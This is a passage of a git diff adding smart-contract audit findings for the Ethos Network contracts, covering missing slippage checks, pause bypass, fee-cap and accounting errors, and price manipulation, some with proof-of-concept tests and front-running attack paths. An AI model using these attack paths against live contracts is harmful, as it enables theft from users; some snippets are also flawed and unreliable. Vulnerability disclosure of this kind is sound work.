SignatureControl:::nostruct-->Initializable +``` + +### Mitigation + +To address these risks and ensure a stable upgradeability framework: +- Transition all custom base contracts to use the structured storage pattern, aligning with OpenZeppelin's practices. +- Replace any remaining non-upgradable OpenZeppelin contracts with their upgradable counterparts to maintain consistency. \ No newline at end of file diff --git a/379.md b/379.md new file mode 100644 index 0000000..5f76a92 --- /dev/null +++ b/379.md @@ -0,0 +1,45 @@ +Winning Hotpink Panda + +Medium + +# User might accidentally create a different config if one of them is removed. + +### Summary +When creating a config, all the user has to input is the id of the config they want to use + +```solidity + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); + + // Verify sender can create market + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + } + _createMarket(senderProfileId, msg.sender, marketConfigIndex); + } +``` + +The problem is that the config ids are subject to change, for example due to one of them getting removed. This unexpected change could result in the user creating a different market than the one expected. As profiles can only create 1 market in their lifetime, this makes it an even bigger impact. + +### Root Cause +Market's ids can change + + +### Attack Path +1. There are currently three markets (ids are 0, 1 and 2) +2. User wants to create a market with the config of the 2nd one. So they call create market with id 1. +3. In the meantime, admins remove config with id 0. +4. Because of this, the actual market which would be created would be different than the one initially wanted. + +### Affected Code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L272 + +### Impact +Creating a different market than intended. + +### Mitigation +Upon deleting a market, do not shift the other ones. \ No newline at end of file diff --git a/380.md b/380.md new file mode 100644 index 0000000..9b26696 --- /dev/null +++ b/380.md @@ -0,0 +1,87 @@ +Acidic Lemonade Vulture + +Medium + +# Address reassignment can permanently lock user rewards + +### Summary + +The system for managing rewards linked to mock profiles has a critical flaw. When an address or attestation data associated with a mock profile is reassigned to another profile, the rewards linked to the original mock profile ID become permanently inaccessible. This design oversight can lead to a loss of funds. + +### Root Cause + +Rewards are tied solely to the `recipientProfileId` (mock profile ID) during `_depositRewards`. If the mock profile is later disassociated due to address or attestation data reassignment, the rewards remain locked to the mock profile ID, which can no longer be accessed. + +### Internal pre-conditions + +1. Rewards for vouching are deposited using `_depositRewards` and are linked exclusively to the mock profile ID. +2. Mock profiles are created during interactions such as reviews tied to unverified addresses or attestations. + +```solidity +File: ethos/packages/contracts/contracts/EthosVouch.sol + 687: function _depositRewards(uint256 amount, uint256 recipientProfileId) internal { + 688: rewards[recipientProfileId] += amount;//audit: + 689: emit DepositedToRewards(recipientProfileId, amount); + 690: } +``` +[EthosVouch._depositRewards](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L687-L690) + +### External pre-conditions + +1. A mock profile is created, either by submitting a review for an unverified address or for attestation data. +2. Vouching activity generates rewards, which are tied to the mock profile ID using `_depositRewards`. +3. The address or attestation data is later reassigned to a verified full profile, detaching it from the mock profile. + +### Attack Path + +1. A mock profile is created via a review or attestation. +2. Users vouch for the mock profile, triggering `_depositRewards` to allocate rewards to the mock profile ID. +3. The address or attestation is reassigned to existing full profile. +4. The mock profile ID remains associated with the rewards, but msg.sender—the address previously linked to the mock profile—is now associated with a different profile. This causes the profile validation in claimRewards to fail, as the callerProfileId derived from msg.sender no longer matches the mock profile ID. + +```solidity +File: ethos/packages/contracts/contracts/EthosVouch.sol + 667: function claimRewards() external whenNotPaused nonReentrant { + 668: (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + 669: contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + 670: ).profileStatusByAddress(msg.sender); + 671: + 672: // Only check that this is a real profile (not mock) and was verified at some point + 673: if (!verified || mock) { + 674: revert ProfileNotFoundForAddress(msg.sender); + 675: } + 676: + 677: uint256 amount = rewards[callerProfileId]; + 678: if (amount == 0) revert InsufficientRewardsBalance(); + 679: + 680: rewards[callerProfileId] = 0; + 681: (bool success, ) = msg.sender.call{ value: amount }(""); + 682: if (!success) revert FeeTransferFailed("Rewards claim failed"); + 683: + 684: emit WithdrawnFromRewards(callerProfileId, amount); + 685: } +``` +[EthosVouch.claimRewards](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L667-L667) + +5. Rewards remain tied to the mock profile ID and become unclaimable. + +### Impact + +1. **Permanent Reward Loss:** Rewards tied to mock profiles are no longer accessible after reassignment. +2. **Disrupted User Experience:** Users are unable to claim rightful rewards. + +### PoC + +1. Create a mock profile via a review tied to an unverified address or attestation. +2. Vouch for the mock profile, depositing rewards through `_depositRewards`. +3. Reassign the address or attestation data to a new full profile. +4. Attempt to claim rewards for the mock profile and observe the failure due to ID mismatch. + +### Mitigation + +**Resolution Depends on Project Business Assumptions** +The approach to resolving this issue depends on the intended behavior and assumptions of the project. Below are potential solutions: + +1. **Dual Reward Tracking:** Modify `_depositRewards` to track rewards by both the profile ID and the address/attestation hash. +2. **Claim Enhancements:** Update `claimRewards` to check for rewards by profile ID, associated address, and attestation hash. +3. **Reversion Mechanism:** Introduce a mechanism to revert addresses or attestations back to mock profiles if rewards remain unclaimed. \ No newline at end of file diff --git a/381.md b/381.md new file mode 100644 index 0000000..2c49f2e --- /dev/null +++ b/381.md @@ -0,0 +1,40 @@ +Passive Tawny Sheep + +High + +# A mallicious user can avoid a slashing event during the evaluation period of the slasher contract + +### Summary + +The `unvouch:452`function have no timeout between the unvouch and the unvouch execution. The consequence of that is that if a mallicious user is in the evaluation period (24h according to the whitepaper) before slashing the user can call unvouch to avoid his fund to be slashed. + +### Root Cause + +In the `unvouch:452`there is no timeout between the unvouch and the unvouch execution. A user can unvouch at any time as we can see : + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L478 + +### Internal pre-conditions + +1. exitFees must be less than the slash percent. + +### External pre-conditions + +1. A mallicious user have been accused of dishonest behavior +2. He is in the evaluation period + +### Attack Path + +1. Bob see that he is accused of unethical behavior and he is in an evaluation period +2. He call `unvouch` to avoid the slash. + +### Impact + +The mallicious user will avoid the slashing. + +### PoC + +none. +### Mitigation + +To mitigate this issue the protocol should set a timeout of at least 24 hours between the unvouch call and the unvouch execution. \ No newline at end of file diff --git a/382.md b/382.md new file mode 100644 index 0000000..8be4037 --- /dev/null +++ b/382.md @@ -0,0 +1,69 @@ +Fantastic Paisley Jay + +Medium + +# Max total fees can be more than 10% in `EthosVouch` contract + +### Summary + +The `README` states that the max total fees can't be more than 10%: + +```solidity +For both contracts: +- Maximum total fees cannot exceed 10% + +``` + +But the [`MAX_TOTAL_FEES`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120) in `EthosVouch` contract is defined as 10000 that is 100%. + +### Root Cause + +The `MAX_TOTAL_FEES` is equal to 10000 in the `EthosVouch` contract and it is defined as constant: + +```solidity +uint256 public constant MAX_TOTAL_FEES = 10000; +``` +It is known that 100 is 1%, so 10000 is 100% not 10% as the README states. + +The `MAX_TOTAL_FEES` is used in the `checkFeeExceedsMaximum` function that is executed before updating the fees and this function is used in the [`setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L566C12-L572), [`setEntryDonationFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L581C12-L587), [`setEntryVouchersPoolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L596C12-L602), [`setExitFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L611C12-L615) functions. The function should check if the total fees are not more than 10% (1000): + +```solidity + +function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +@> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); +} + +``` + +But the problem is that the function will revert when the `totalFees` are more than 10000, not when they are more than 1000. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The `EthosVouch::checkFeeExceedsMaximum` function allows the fees to be more than 10% that contradicts to the protocol's documentation. Fees are set by the admin, but the admin must set multiple fees and can very easily inadvertently bypass the 10% fee limit. Therefore in my opinion this is more than low severity issue. + + +### PoC + +_No response_ + +### Mitigation + +Change the value of `MAX_TOTAL_FEES` from 10000 to 1000. \ No newline at end of file diff --git a/383.md b/383.md new file mode 100644 index 0000000..b539f5e --- /dev/null +++ b/383.md @@ -0,0 +1,37 @@ +Winning Hotpink Panda + +Medium + +# `configuredMinimumVouchAmount` is checked before deducting fees. + +### Summary +Within the protocol, there's a minimum vouch amount enforced. Users should not be able to create a vouch for less than that. + +```solidity + // must meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + +The problem is that the current implementation checks the amount, before deducting the fees. Therefore, it allows for creating vouches for less than the supposed minimum + +### Root Cause + +Wrong check + +### Attack Path +1. There is enforced 0.1 eth `configuredMinimumVouchAmount ` +2. User calls `vouchByProfileId` with `msg.value` 0.1eth +3. Check succeeds +4. Protocol deducts fees. +5. Vouch is made for less than the supposed minimum + +### Impact +Creation of vouches for less than the minimum + + +### Mitigation +Put the check after fees are deducted. \ No newline at end of file diff --git a/384.md b/384.md new file mode 100644 index 0000000..e7cc360 --- /dev/null +++ b/384.md @@ -0,0 +1,83 @@ +Brave Seaweed Whale + +High + +# No slippage protection implemented for selling votes in ReputationMarket.sol + +### Summary + +`sellVotes()` function lacks slippage protection, making users vulnerable to losing funds. + +### Root Cause + +`buyVotes()` protects users from getting less votes than they expected, but `sellVotes()` does not protect users from getting less ETH for their votes. +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +For example: +1. User A and B sell their TRUST votes for the same market at the same time +2. User A's transaction gets executed first, they get the expected returns and the price of TRUST vote goes down a bit. +3. User B's transaction gets executed second, and they get less returns than they might have expected. + +### Impact + +The users could experience losses when selling votes. + +### PoC + +_No response_ + +### Mitigation + +Implement slippage protection mechanism like in `buyVotes()` \ No newline at end of file diff --git a/385.md b/385.md new file mode 100644 index 0000000..813e54d --- /dev/null +++ b/385.md @@ -0,0 +1,46 @@ +Fantastic Paisley Jay + +Medium + +# Users can call `EthosVouch::increaseVouch` function when the protocol is paused + +### Summary + +When the `EthosVouch` contract is paused the user should not be able to perform any actions and to change the contract's state. But the users can call `increaseVouch` function because the function doesn't have `whenNotPaused` modifier. + +### Root Cause + +The `EthosVouch` contract can be paused and almost all functions that change the contract's states have `whenNotPaused` modifier. But the function [`increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) doesn't have `whenNotPaused` modifier: + +```solidity + +@> function increaseVouch(uint256 vouchId) public payable nonReentrant { + ... + } + +``` +Therefore the function allows the users to increase the amount of a given vouch and change the state of the contract when it is paused. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The users can increase the value of a specified vouch when the contract is paused. + +### PoC + +_No response_ + +### Mitigation + +Add `whenNotPaused` modifier to the `increaseVouch` function. \ No newline at end of file diff --git a/386.md b/386.md new file mode 100644 index 0000000..89bffd4 --- /dev/null +++ b/386.md @@ -0,0 +1,47 @@ +Mini Fuchsia Mantis + +Medium + +# Inconsistent Pause Implementation Allows Fund Locking During Emergency + +### Summary + +Users can deposit additional funds during contract emergency while withdrawals are blocked. +The increaseVouch function in EthosVouch lacks the whenNotPaused modifier while all other fund-related functions are properly protected. This allows users to unknowingly deposit additional funds during emergency situations when the contract is paused, while being unable to withdraw these funds until the contract is unpaused. + + +### Root Cause + +In EthosVouch.sol, every critical function is protected by the whenNotPaused modifier except increaseVouch: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. Users can deposit funds during emergency pause. +2. These funds become temporarily locked as unvouch() is paused. +3. FUNDS LOCKED. +4. Might lead to some calculation errors. + +### PoC + +_No response_ + +### Mitigation +```solidity +function increaseVouch(uint256 vouchId) public payable + whenNotPaused // Add this + nonReentrant +{ +``` \ No newline at end of file diff --git a/388.md b/388.md new file mode 100644 index 0000000..6f14886 --- /dev/null +++ b/388.md @@ -0,0 +1,134 @@ +Handsome Dijon Jay + +Medium + +# Lack of slippage check on `ReputationMarket::sellVotes` will cause vote sellers to sell at a worse price than intended + +### Summary + +The function [`ReputationMarket::buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L435-L493) implements a [slippage check](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L461) to ensure that users do not receive fewer votes than they intended to purchase. This provides a safeguard against adverse pricing changes during the transaction and ensures predictable outcomes for the user. + +However, a similar protection is absent in the [`ReputationMarket::sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function. Without a slippage check, users selling votes could potentially receive less compensation than expected due to changes in market conditions or other factors during execution, leaving them vulnerable to unfavorable outcomes. This inconsistency could result in unintended user losses. + +### Root Cause + +Lack of slippage check in [`ReputationMarket::sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) + +### Internal pre-conditions + +Another user needs to sell between the seller transmitted their tx and it is executed. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Seller submits their tx to sell votes +2. Another users tx to sell votes is included first +3. Seller will sell at a disadvantageous price + +### Impact + +A lack of a slippage check in the `ReputationMarket::sellVotes` function means that users selling votes are exposed to the risk of receiving a lower price than anticipated. + +### PoC + +Foundry test: +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {Test} from "forge-std/Test.sol"; + +import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; + +import { ReputationMarket } from "../../contracts/ReputationMarket.sol"; +import { IContractAddressManager } from "../../contracts/interfaces/IContractAddressManager.sol"; +import { IEthosProfile } from "../../contracts/interfaces/IEthosProfile.sol"; + +contract ReputationMarketTest is Test { + uint256 constant DEFAULT_PRICE = 0.01 ether; + bool constant TRUST = true; + bool constant DISTRUST = false; + + ReputationMarket reputationMarket; + + address owner = makeAddr("owner"); + address admin = makeAddr("admin"); + address expectedSigner = makeAddr("expectedSigner"); + address signatureVerifier = makeAddr("signatureVerifier"); + address contractAddressManagerAddr = makeAddr("contractAddressManager"); + + address profile = makeAddr("profile"); + + address marketCreator = makeAddr("marketCreator"); + uint256 constant MarketCreatorProfile = 1; + + address alice = makeAddr("alice"); + address bob = makeAddr("bob"); + + + function setUp() public { + ReputationMarket impl = new ReputationMarket(); + vm.label(address(impl), "impl"); + reputationMarket = ReputationMarket(address(new ERC1967Proxy(address(impl), ""))); + reputationMarket.initialize( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr + ); + vm.label(address(reputationMarket), "ReputationMarket"); + + vm.prank(admin); + reputationMarket.setAllowListEnforcement(false); + + vm.mockCall( + contractAddressManagerAddr, + abi.encodeWithSelector(IContractAddressManager.getContractAddressForName.selector, "ETHOS_PROFILE"), + abi.encode(profile) + ); + + vm.mockCall( + profile, + abi.encodeWithSelector(IEthosProfile.verifiedProfileIdForAddress.selector, marketCreator), + abi.encode(MarketCreatorProfile) + ); + } + + function testLackOfSlippageOnSell() public { + vm.deal(marketCreator, 2 * DEFAULT_PRICE); + vm.prank(marketCreator); + reputationMarket.createMarket{value: 2 * DEFAULT_PRICE}(); + + vm.deal(alice,1 ether); + vm.deal(bob,1 ether); + + vm.prank(alice); + reputationMarket.buyVotes{value: DEFAULT_PRICE/2}(MarketCreatorProfile, TRUST, 1, 0); + + vm.prank(bob); + reputationMarket.buyVotes{value: (2* DEFAULT_PRICE)/3}(MarketCreatorProfile, TRUST, 1, 0); + + vm.prank(bob); + ( , uint256 expectedSellPrice, , , , ) = reputationMarket.simulateSell(MarketCreatorProfile, TRUST, 1); + + // alice sells her vote first + vm.prank(alice); + reputationMarket.sellVotes(MarketCreatorProfile, TRUST, 1); + + uint256 balanceBefore = bob.balance; + vm.prank(bob); + reputationMarket.sellVotes(MarketCreatorProfile, TRUST, 1); + + // bob sold his vote for less than expected + assertLt(bob.balance - balanceBefore, expectedSellPrice); + } +} +``` + +### Mitigation + +Consider implementing a slippage check on `ReputationMarket::sellVotes` where a user can supply an amount `minOut` or similar. \ No newline at end of file diff --git a/389.md b/389.md new file mode 100644 index 0000000..9ff4d13 --- /dev/null +++ b/389.md @@ -0,0 +1,42 @@ +Passive Tawny Sheep + +Medium + +# increaseVouch reward the own vouch of the caller + +### Summary + +the increaseVouch function reward the own vouch of the caller if entryVouchersPoolFeeBasisPoints is set. If the caller is the author of the heaviest vouch it could be unfair for the other vouchs. + +> + +### Root Cause + +In the `increaseVouch:426`function the rewards will be distributed by the function `applyFees`at line 440 the function `_rewardPreviousVouchers`line 949 will distribute rewards amoung all the vouchs of the subject and the vouch that is currently increasing itself as we can see : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L731 + +### Internal pre-conditions + +1. entryVouchersPoolFeeBasisPoints must be set. + +### External pre-conditions + +none. + +### Attack Path + +1. A user represent 90% of the totalVouch. +2. If he increase his vouch he will have back 90% of the fees that he should paid to the vouchs making him avoiding paying a large part of the fees to the Vouchs. +3. He will avoid paying 90% of the fees he owes to other vouchs +4. reciprocally the other vouchs will pay him 90% of the reward fees. +### Impact + +A part of the vouchs fees will not be paid if a user have a large part of the total vouch. Moreover a part of the rewards will not be paid by the user since he will be refunded. It's a loss of other vouchs authors. + +### PoC + +_No response_ + +### Mitigation + +The protocol should implement another function than applyFees for increaseVouch in order to avoid this issue. \ No newline at end of file diff --git a/390.md b/390.md new file mode 100644 index 0000000..eeeeaec --- /dev/null +++ b/390.md @@ -0,0 +1,143 @@ +Dapper Amber Starfish + +High + +# Market Funds Accounting Issue + +### Summary + +The `ReputationMarket` contract contains a critical accounting error in the handling of market funds. The marketFunds tracking mechanism incorrectly includes protocol fees and donations in its calculations, leading to a mismatch between the recorded funds and actual available balance. + + + +### Root Cause + +The issue stems from the handling of fundsPaid when users interact with the contract through the buyVotes and sellVotes functions: + +1. Buying Votes (buyVotes) +- The marketFunds[profileId] variable is updated with the total fundsPaid amount, which includes protocol fees and donations. +- However, fees and donations should not be treated as market funds since they are immediately redirected elsewhere. + +```solidity + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + // ... + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +2. Selling Votes (sellVotes) +- Conversely, when users sell votes, the contract deducts only the fundsReceived from marketFunds[profileId]. +- This means protocol fees are not subtracted from marketFunds, leading to an inflated balance. + +```solidity + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; +``` + + +### Internal pre-conditions + +1. Protocol fees or donation fee should be set +3. Users should buy or sell votes + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. If the contract happens to have enough total balance (from other markets), the withdrawal would succeed but would incorrectly use funds belonging to other markets. +2. Some markets might become unable to withdraw their funds if the contract's total balance is insufficient due to the inflated accounting. + +### PoC + +Inside contracts/test/reputationMarket/rep.graduate.test.ts + +```solidity + it('should fail when withdrawing funds from graduated market', async () => { + + // Set rotocol fees + await reputationMarket.connect(graduator).setProtocolFeeAddress(ethers.Wallet.createRandom().address); + await reputationMarket.connect(graduator).setEntryProtocolFeeBasisPoints(500); + + let initialFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + expect(await reputationMarket.marketFunds(DEFAULT.profileId)).to.equal(initialFunds); + + // Add funds through trading + await userA.buyVotes({ buyAmount: ethers.parseEther('1') }); + + // Contract balance should be greater than market funds but protocol fees sent to admin + // And marketFunds updated incorrectly + const marketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + const contractBalance = await ethers.provider.getBalance(reputationMarket.getAddress()); + expect(marketFunds).to.greaterThan(contractBalance); + + // Graduate market + await reputationMarket.connect(graduator).graduateMarket(DEFAULT.profileId); + // Withdraw funds fails because marketFunds is incorrect and bigger than contract balance + await expect(reputationMarket.connect(graduator).withdrawGraduatedMarketFunds(DEFAULT.profileId)).to.be.revertedWith('ETH transfer failed'); + }); +``` + +### Mitigation + +Add explicit accounting for fees + +```solidity +function buyVotes(...) { + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + // Update market funds with actual available amount (excluding fees) ++ uint256 funds= fundsPaid - protocolFee - donation + marketFunds[profileId] += fundsPaid; + + // Rest of the function... +} +``` \ No newline at end of file diff --git a/391.md b/391.md new file mode 100644 index 0000000..1842ecc --- /dev/null +++ b/391.md @@ -0,0 +1,137 @@ +Mini Fuchsia Mantis + +High + +# Price Manipulation Through Minimum Market Value + +### Summary + +Attacker can manipulate vote prices to near-zero through repeated small buys/sells, impacting all market participants +A critical flaw in the vote price calculation mechanism allows an attacker to manipulate market prices by exploiting the minimum viable state of trust/distrust votes (1 vote). When a market reaches this state, prices can be manipulated to extreme values, causing significant profit/loss for other users. + + +### Root Cause + +In _calculateSell(), the contract attempts to prevent selling the last vote: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1044 + +However, the price calculation in _calcVotePrice becomes extremely volatile when one side's vote count gets close to 1: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Attacker identifies a market with minimal activity: + +```solidity +Initial state example: +Trust votes: 10 +Distrust votes: 10 +Base price: 0.01 ETH +``` +Attacker buys large amount of trust votes to skew ratio: + +```solidity +After trust vote purchase: +Trust votes: 100 +Distrust votes: 10 +``` +Attacker slowly sells distrust votes until minimum: + +```solidity + Near minimum state: +Trust votes: 100 +Distrust votes: 2 // One more sale would revert due to minimum check +``` + +Due to extreme imbalance: + +- Trust vote price: ~0.98 * basePrice +- Distrust vote price: ~0.02 * basePrice + + +Price calculation becomes extremely sensitive to small changes: + +```solidity +For distrust votes: +price = (2 * basePrice) / 102 // Extremely low +// For trust votes: +price = (100 * basePrice) / 102 // Nearly full basePrice +``` + +### Impact + +HIGH severity: + +- Price manipulation affects all market participants +- Can force unfavorable trades due to extreme price disparities +- Breaks core principle: "Credibility is based on stake value" +- Market becomes non-functional at extremes + + + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract ReputationMarketExploit { + function testPriceManipulation() public { + ReputationMarket market = new ReputationMarket(); + + // Create market with minimum config + market.createMarket{value: 0.02 ether}(); // 2 * DEFAULT_PRICE + + // Buy trust votes to create imbalance + market.buyVotes{value: 1 ether}( + profileId, + true, // trust votes + 90, // expected votes + 500 // 5% slippage + ); + + // Sell distrust votes to minimum + market.sellVotes( + profileId, + false, // distrust votes + 8 // sell until 2 remain + ); + + // Verify extreme price disparity + uint256 trustPrice = market.getVotePrice(profileId, true); + uint256 distrustPrice = market.getVotePrice(profileId, false); + + // trustPrice will be close to basePrice + // distrustPrice will be extremely low + assert(distrustPrice * 40 < trustPrice); // More than 40x price difference + } +} +``` + +### Mitigation + +Implement minimum ratio requirements: + +```solidity +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + uint256 minRatio = 10; // Example: 10% + + // Ensure neither side can go below minRatio of total + require( + market.votes[TRUST] * 100 >= totalVotes * minRatio && + market.votes[DISTRUST] * 100 >= totalVotes * minRatio, + "Vote ratio exceeds allowed imbalance" + ); + + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; +} +``` \ No newline at end of file diff --git a/392.md b/392.md new file mode 100644 index 0000000..e26e6b2 --- /dev/null +++ b/392.md @@ -0,0 +1,82 @@ +Melodic Sand Newt + +Medium + +# No Slippage protection while Selling Votes + +### Summary + +Users selling votes have no protection against price slippage, which could result in receiving significantly less ETH than expected when market conditions change between transaction submission and execution. There is also no deadline parameter which is also a issue up here. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + + +### Root Cause + +the `sellVotes()` function lacks similar protection: +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount +) public whenNotPaused activeMarket(profileId) nonReentrant { + // No slippage protection parameters or checks + // ... +} +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +**Frontrunning** + Malicious actors can monitor the mempool for sellVotes transactions +Upon seeing a large sell order, they can: +- Frontrun by selling their own votes first +- This drives down the vote price due to the bonding curve mechanism +- The original user's transaction executes at the lower price +- The attacker effectively extracts value from the legitimate seller + +**Sandwitch** +- Attacker sees victim's sellVotes transaction in mempool +- FRONT-RUN: Attacker sells their votes first, driving price down +- VICTIM: Victim's sellVotes executes at lower price +- BACK-RUN: Attacker buys back votes at depressed price + + + +### Impact + +Without slippage protection, users have no way to specify a minimum acceptable price for their sell orders. This could lead to significant losses especially in volatile market conditions or when faced with MEV sandwich attacks. + + + +### PoC + +_No response_ + +### Mitigation + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount, + uint256 minFundsExpected, + uint256 slippageBasisPoints +) public { + // ... existing code ... + + if (fundsReceived < minFundsExpected) { + revert SlippageLimitExceeded(fundsReceived, minFundsExpected, slippageBasisPoints); + } + + // ... rest of function +} +``` \ No newline at end of file diff --git a/393.md b/393.md new file mode 100644 index 0000000..ccf2683 --- /dev/null +++ b/393.md @@ -0,0 +1,75 @@ +Brave Seaweed Whale + +Medium + +# Created markets could have a different config than intended if admin removes one + +### Summary + +When users try to create a market with a config that the admin has just removed, users could have a market created with a different config instead of the intended one. + +### Root Cause + +I think the root cause of this issue would be the implemented market configs storage. Market configs are held in an array without any information on the configs' statuses. When admin removes a config it just gets swapped with the last config in the array (if the one being removed is not last already). +```solidity + struct MarketConfig { + uint256 initialLiquidity; + uint256 initialVotes; + uint256 basePrice; + } + MarketConfig[] public marketConfigs; +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L65-L69 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L107 +```solidity + function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if 